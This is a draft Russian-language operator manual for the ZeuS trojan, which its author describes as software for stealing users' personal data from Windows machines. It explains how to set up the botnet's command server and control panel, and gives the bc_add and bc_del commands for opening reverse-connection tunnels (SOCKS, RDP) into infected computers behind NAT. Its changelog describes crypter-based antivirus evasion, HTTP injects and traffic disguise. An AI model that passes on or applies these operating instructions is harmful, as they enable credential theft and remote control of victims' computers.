Руководство пользователя (ЧЕРНОВИК)
***********************************

==============
= Содержание =
==============

1. Описание и возможности.
2. Настройка сервера.
  2.1. HTTP-сервер.
  2.2. Интерпретатор PHP.
  2.3. MySQL-сервер.
  2.4. Панель управления.
    2.4.1. Установка.
    2.4.2. Обновление.
    2.4.3. Файл /system/fsarc.php.
3. Настройка бота.
4. Работа с BackConnect.
5. История версий.
6. F.A.Q.
7. Мифы.

==============================
= 1. Описание и возможности. =
==============================
ZeuS - программное обеспечение для кражи личных данных пользователей с удаленных систем Windows. На 
простом языке "Троян", "Бэкдор", "Вирус". Но автор не любит эти слова, поэтому далее в документации
он будет называть это программное обеспечение "Бот". 

Бот полностью основан на перехвате WinAPI в UserMode (Ring3), это значит, что бот не использует
каких-либо драйверов и обращений в Ring0. Эта особенность дает возможность запускаться боту даже из
Гостевых учетных записей Windows. Плюс это гарантирует повышенную стабильность, и адаптивность
к последующим версиям Windows.

Бот разрабатывается на Visual C++ версии 9.0+, при этом не используются дополнительные библиотеки
типа msvcrt, ATL, MFC, QT и т.д. Код бота пишется со следующими приоритетами (в порядке уменьшения):
  1. стабильность (старательно проверяются все результаты вызова функций и т.д.),
  2. размер       (избегаются повторы алгоритмов, повторы вызовов функций и т.д.),
  3. скорость     (нет инструкций типа while(1){..}, for(int i = 0; i < strlen(str); i++){..}).

Функции и особенности бота:
  1. Снифер трафика для протокола TCP.
     1.1. Перехват FTP логинов на любом порту.
     1.2. Перехват POP3 логинов на любом порту.
     1.3. Перехват любых данных из трафика (персональный заказ).
  
  2. Перехват HTTP/HTTPS запросов для wininet.dll, т.е. всех программ работающих с этой
     библиотекой. Сюда входят Internet Explorer (любая версия), Maxton, и т.д.
     2.1. Подмена ..
     
  3. Функции сервера.
     3.1 Socks4/4a/5.
     3.2 Бэкконект для любого сервиса(RDP, Socks, FTP, и.т.д.) на зараженной машине. Вы можете
         получить доступ к компьютеру, который находится за NAT, или, например, к которому
         запрещены подключения из интернета.
     3.3 Получение скриншота экрана в реальном времени.
-- не дописано ---

=========================
= 2. Настройка сервера. =
=========================
Сервер является центральной точкой управления ботнетом, он занимается сборкой отчетов ботов,
и отдачей команд ботам. Крайне не рекомендуется использовать "Виртуальный Хостинг" или "VDS", т.к.
при увеличение ботнета, нагрузка на сервер будет увеличиваться, и такой вид хостинга довольно 
быстро исчерпает свои ресурсы. Вам нужен "Выделенный сервер" (Дедик), рекомендуемая минимальная 
конфигурация:

1. 2Гб ОЗУ.
2. 2x процессор частотой 2Ггц, 
3. SATA винчестер 7200rpm+

Для работы бота необходим HTTP-сервер с подключенным PHP + Zend Optimizer, и MySQL-сервер. 

ВНИМАНИЕ: Для Windows-систем очень важно изменить(создать) следующее значение реестра:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\MaxUserPort=dword:65534
(десятичное)

---------------------
- 2.1. HTTP-сервер. -
---------------------
В качестве HTTP-сервера рекомендуется использовать: для nix-систем - Apache от версии 2.2, для
Windows-систем - IIS от версии 6.0. Рекомендуется держать HTTP-сервер на 80 или 443 порту (это
положительно влияет на отстук бота, поскольку провайдеры/прокси могут блокировать доступ на иные,
нестандартные порты).

Загрузить Apache: http://apache.org/dyn/closer.cgi
Сайт IIS: http://www.iis.net/

---------------------------
- 2.2. Интерпретатор PHP. -
---------------------------
Последняя версия панели управления разрабатывалась на PHP 5.2.6. Поэтому крайне рекомендуется 
использовать версию, не ниже этой версии. Но в крайнем случаи не ниже 5.2.

Важно произвести следующие настройки в php.ini:

safe_mode = Off
magic_quotes_gpc = Off
magic_quotes_runtime = Off
memory_limit = 256M  ;Или выше.
post_max_size = 100M ;Или выше.

а также рекомендуется изменить следующие настройки:

display_errors = Off

Также понадобиться подключить Zend Optimizer (ускорение работы скриптов, и запуск защищенных
скриптов). Рекомендуется версия от 3.3.

Не рекомендуется подключать PHP к HTTP-серверу через CGI.

Загрузить PHP: http://www.php.net/downloads.php
Загрузить Zend Optimizer: http://www.zend.com/en/products/guard/downloads

----------------------
- 2.3. MySQL-сервер. -
----------------------
MySQL требуется для хранения всех данных об ботнете. Рекомендуемая версия не ниже 5.1.30, так же
стоит учесть, что при работе панели управления в более старых версиях были обнаружены некоторые
проблемы. Все таблицы панели управления идут в формате MyISAM, важно правильно оптимизировать
быстродействие работы с этим форматом, исходя из доступных ресурсов сервера.

Рекомендуется внести следующие изменения в настройки MySQL-сервера (my или my.ini):

max_connections=2000 #Или выше

Загрузить MySQL: http://dev.mysql.com/downloads/

---------------------------
- 2.4. Панель управления. -
---------------------------

2.4.1. Установка.
*****************
Назначение файлов и папок:
/install           - инсталлятор.
/system            - системные файлы.
/system/fsarc.php  - скрипт для вызова внешнего архиватора (раздел 2.4.3).
/system/config.php - файл конфигурации.
/theme             - файлы темы (дизайн), без зенда, могут свободно изменяться.
cp.php             - вход в панель управления.
gate.php           - гэйт для ботов.
index.php          - пустой файл для предотвращения листинга файлов.

Панель управления обычно расположена в вашем дистрибутиве в папке server[php]. Все содержимое этой 
папки необходимо загрузить на сервер в любую папку доступную по HTTP. Если вы загружаете ее через 
FTP, то все файлы нужно загрузить в БИНАРНОМ режиме.

Для nix-систем выставите права:
/.      - 777
/system - 777
/tmp    - 777

Для Windows-систем:
\system - права на полные права на запись, чтение для пользователя из под которого происходит доступ
          через HTTP. Для IIS это обычно IUSR_*.
\tmp    - также как и для \system.

После того как все файлы загружены, необходимо через браузер запустить инсталлятор по URL
http://сервер/папка/install/index.php. Следуйте появившимся инструкциям, в случаи возникновения 
ошибок (вы будете подробно уведомлены) в процесс установки, проверти правильность введенных данных, 
и правильность установки прав на папки.

После установки, рекомендуется удалить директорию install, и переименовать файлы cp.php (вход в 
панель управления) и gate.php (гэйт для ботов) в любые файлы по вашему желанию (расширение менять
нельзя).

Теперь вы можете благополучно входить в панель управления, введя в браузере URL переименованного
файла cp.php.

2.4.2. Обновление.
******************
Если вы обладаете более новой копией панели управления, и желаете обновить старую версию, то 
необходимо сделать следующие:

1) Скопировать файлы новой панели управления на место старых.
2) Переименовать файлы cp.php и gate.php согласно их реальным именам выбранным вами при установке
   старой панели управления.
3) На всякой случай, повторно выставить права на директории согласно пункту 2.4.
4) Через браузер запустить инсталлятор по URL http://сервер/директория/install/index.php, и
   следовать появившимся инструкциям. Процесс работы инсталлятора может занять достаточно большой
   промежуток времени, это связано с тем, что некоторые таблицы с отчетами могут пересоздаваться.
5) Можно пользоваться новой панелью управления.

2.4.3. Файл /system/fsarc.php.
******************************
Данный файл содержит в себе функцию для вызова внешнего архиватора. В данный момент архиватор
используется только в модуле "Отчеты::Поиск в файлах" (reports_files), и вызывается для загрузки
файлов и папок в виде одного архива. По умолчанию функция настроена на архиватор Zip, и является
универсальной для Windows и nix, поэтому все что вам нужно сделать, это установить в систему этот 
архиватор, и дать права на его исполнение. Вы также можете отредактировать этот файл для работы с
любым архиватором.

Загрузить Zip: http://www.info-zip.org/Zip.html.

======================
= 3. Настройка бота. =
======================

===========================
= 4. Работа с BackConnect =
===========================
Работа с BackConnect рассматривается в виде примера.

IP BackConnect-сервера : 192.168.100.1 
Порт для бота: 4500
Порт для клиентского приложения: 1080

1) Запускается серверное приложение(zsbcs.exe или zsbcs64.exe) на сервере имеющем свой IP в
   интернете, для приложения указывается порт, на котором ожидается подключение от бота, и порт к
   которому будет подключаться клиентское приложение. Например zsbcs.exe listen -cp:1080 -bp:4500,
   где 1080 - клиентский порт, 4500 - порт для бота.

2) Необходимому боту отправляется команда bc_add service server_host server_port, где service - 
   номер порта или имя* сервиса, к которому необходимо подключится на боте. 
   
   *в настоящее время поддерживается только имя socks, которое позволяет подключится к встроенному в
   бота Socks-серверу.

   server_host - сервер, на котором запушено серверное приложение. Здесь может быть указан IPv4,
                 IPv6, или домен.
   server_port - порт, который указан в опции cp серверного приложение. В данном случаи 4500.

   Пример: bc_add socks 192.168.100.1 4500 - в результате вы получаете socks,
           bc_add 3389  192.168.100.1 4500 - в результате вы получаете rdp.

3) Теперь необходимо ждать подключение бота к серверу, в этот период любая попытка клиентского
   приложения подключится будет игнорироваться (будет происходить отключение клиента). Знаком
   подключения бота, будет вывод в консоль сервера строки "Accepted new conection from bot...".

4) После подключения бота, вы можете работать со своим клиентским приложением. Т.е. вы просто
   подключаетесь к серверу на клиентский порт (в данном случаи 1080). Например, если вы отдали
   команду socks, то на клиентском порту вас будет ожидать Socks-сервер, если указали порт 3389, то
   вы подключаетесь к 192.168.100:1080 как к обычному RDP.

5) После того, когда вам не нужен BackConnect от бота для определенного сервиса, необходимо отдать
   команду bc_del service server_host server_port, где все параметры должны быть идентичны
   параметрам bc_add, которые необходимо удалить. Также здесь можно использовать спец. символы
   '*' и '?'.

   Например: bc_del * * * - удалит все BackConnect'ы, указанные на боте.
             bc_del * 192.168.* * удалит все BackConnect’ы, подключаемые к серверам с IP 192.168.*.
             bc_del 3389 192.168.100.1 4500 - удалит конкретно один BackConnect.

ПРИМЕЧАНИЯ: 
1) Вы можете указывать сколько угодно BackConnect'ов (т.е. bc_add), но у них не должна быть общая
   комбинация IP + Port. Но в случаи наличия такой комбинации, будет запускаться первая добавленная.
2) Для каждого BackConnect'а, вы должны запускать отдельное серверное приложение.
3) В случаи разрыва соединения(падения сервера, падение бота и т.д.), бот будет повторят подключение
   к серверу бесконечно(даже после перезагрузки PC), до тех пор пока BackConnect не будет удален
   (т.е. bc_del).
4) В качестве service для bc_add, может быть использован любой порт открытый по адресу 127.0.0.1.
5) Серверное приложение поддерживает IPv6, но в принципе в настоящее время эта поддержка не особо
   актуальна.
6) Возможен запуск серверного приложения под wine. Написание же elf приложения в настоящее время не
   планируется.   
7) Крайне рекомендуется использовать в опции bp серверного приложения популярные порты (80, 8080,
   443 и т.д.), т.к. иные порты могут быть заблокированы провайдером которому принадлежит бот.
8) Нельзя позволят подключатся разным ботам на один и тот же серверный порт одновременно.
9) Метод такого подключения может пригодиться и для ботов, которые находятся вне NAT, т.к. иногда
   фаерволами Windows или провайдерами, могут быть заблокированы подключения из интернета.

ПРИМЕЧАНИЕ: Данная функция доступна не во всех сборках бота.

======================
= 5. История версий. =
======================
Условные метки:
  [*] - изменение.
  [-] - исправление.
  [+] - добавление.

[Версия 1.2.0.0, 20.12.2008]
  Общее:
    [*] Более не будет документации в chm-файле, все будет писаться в этот файл.
    [+] Теперь бот способен получать команды не только при отправки статуса, но и при отправки
        файлов/логов.
    [+] Локальные данные, запросы к серверу, и файл конфигурации шифруются RC4 с ключом на
        ваш выбор.
    [*] Полностью обновлен протокол бот <-> сервер. Возможно, понизится нагрузка на сервер.
  
  Бот:
    [-] Устранена ошибка, блокирующая бота на лимитированных ученых записях Windows.
    [*] Написан новый PE-криптор, теперь PE-файл получается очень аккуратным и максимально
        имитирует результат работы MS Linker 9.0.
    [*] Обновлен процесс сборки бота в билдере.
    [*] Оптимизировано сжатие файла конфигурации.
    [*] Новый формат бинарного файла конфигурации.
    [*] Переписан процесс сборки бинарного файла конфигурации.
    [*] Socks и LC теперь работают на одном порту.
  
  Панель управления:
    [*] Статус панели управления переведен в BETA.
    [*] Изменены все таблицы MySQL.
    [*] Начет постепенный перевод Панели Управления на UTF-8 (возможны временные проблемы с
        отображением символов).
    [*] Обновлена геобаза.

[Версия 1.2.1.0, 30.12.2008]
  Бот:
    [*] BOFA Answers теперь отсылается как BLT_GRABBED_HTTP (было BLT_HTTPS_REQUEST).
    [-] Мелкая ошибка при отправке отчетов.
    [-] Размер отчета не мог превышать ~550 символов.
    [-] Ошибка существующая с начала существования бота: низкий таймаут для отсылки POST-запросов, 
        в результате чего блокировалась отсылка длинных (более ~1 Мб) отчетов на медленных
        соединениях (не стабильных), как теоретическое последствие - бот вообще переставал слать
        отчеты.
  
  Общее:  
    [+] В случаи записи отчета типа BLT_HTTP_REQUEST и BLT_HTTPS_REQUEST в поле SBCID_PATH_SOURCE
        (в таблице будет path_source) добавляется путь URL.
  
  Панель управления:
    [*] Обновлен redir.php.

[Версия 1.2.2.0, 11.03.2009]
  Бот:
    [-] Устранена ошибка в HTTP-инжектах существующая на протяжении ВСЕХ версий бота. При
        использовании в программе асинхронного режима wininet.dll, был упущен момент
        синхронизации потоков создаваемых wininet.dll, в результате чего, при некоторых условиях
        происходило исключение.
    [+] При срабатывании HTTP-инжекта, теперь также изменяются файлы в локальном кэше.
        Отсутствие этой доработки, позволяло не всегда срабатывать HTTP-инжектам.
    [+] Уменьшен размер PE-файла.

[Версия 1.2.3.0, 28.03.2009]
  Бот:
    [-] Мелкие ошибки в крипторе, спасибо доблестным говноаналитикам из Avira.

  Общее:  
    [*] Изменен протокол раздачи команд ботам.
  
  Панель управления:
    [*] Полностью переписана панель управления.
    [*] Дизайн переписан на XHTML 1.0 Strict (под IE не работает).
    [*] Бот теперь опять способен получать команды только при отправке отчета об онлайн-статусе 
        (слишком высокая нагрузка).
    [*] Обновлена геобаза.

[Версия 1.2.4.0, 02.04.2009]
  Бот:
    [+] При работе с HTTP, заголовок User-Agent теперь читается от Internet Explorer, а не
        является константой как раньше. Теоретически из-за постоянного User-Agent'а, запросы
        могли блокироваться провайдерами, или попадать под подозрение.

  Панель управления:
    [-] Исправлена ошибка отображения отчетов, содержащих символы 0-31 и 127-159.

=============
= 6. F.A.Q. =
=============
Q: Что значат цифры в версии?
A: a.b.c.d
    a - полное изменение в устройстве бота. 
    b - крупные изменения, которые вызывают полную или частичную несовместимость с предыдущими
        версиями.
    c - исправления ошибок, доработки, добавление возможностей.
    d - номер чистки от антивирусов для текущей версии a.b.c.

Q: Каким образом генерируется Bot ID?
A: Bot ID состоит из двух частей: %name%_%number%, где name - имя компьютера (результат от
   GetComputerName), а number - некое число, генерируемое на основе некоторых уникальных данных ОС.

Q: Почему трафик шифруется симметричным методом шифрования (RC4), а не асимметричным (RSA)?
A: Потому что, в использовании сложных алгоритмов нет смысла, шифрование нужно только для скрытия
   трафика. Плюс в RSA только, в том что не зная ключа находящегося в Панели управления, не будет
   возможности эмулировать ее ответы. А какой смысл защищаться от этого (с глобальной точки
   зрения)?

Q: Я повредил таблицы/файлы панели управления, что делать?
A: Воспроизвести инструкции, указанные в пункте 2.5.

===========
= 7. Мифы =
===========
M: ZeuS использует DLL для своей работы.
A: Ложь. Существует только один исполняемый PE файл (exe). Dll, sys и т.д. не когда не было и
   врятли когда-либо будет. Этот миф пошел в результате того, что в некоторых версия бота для
   хранения настроек, используются файлы с такими расширениями.
   
M: ZeuS использует COM (БХО) для перехвата Internet Explorer.
A: Ложь. Всегда для этого использовался перехват WinAPI из wininet.dll.
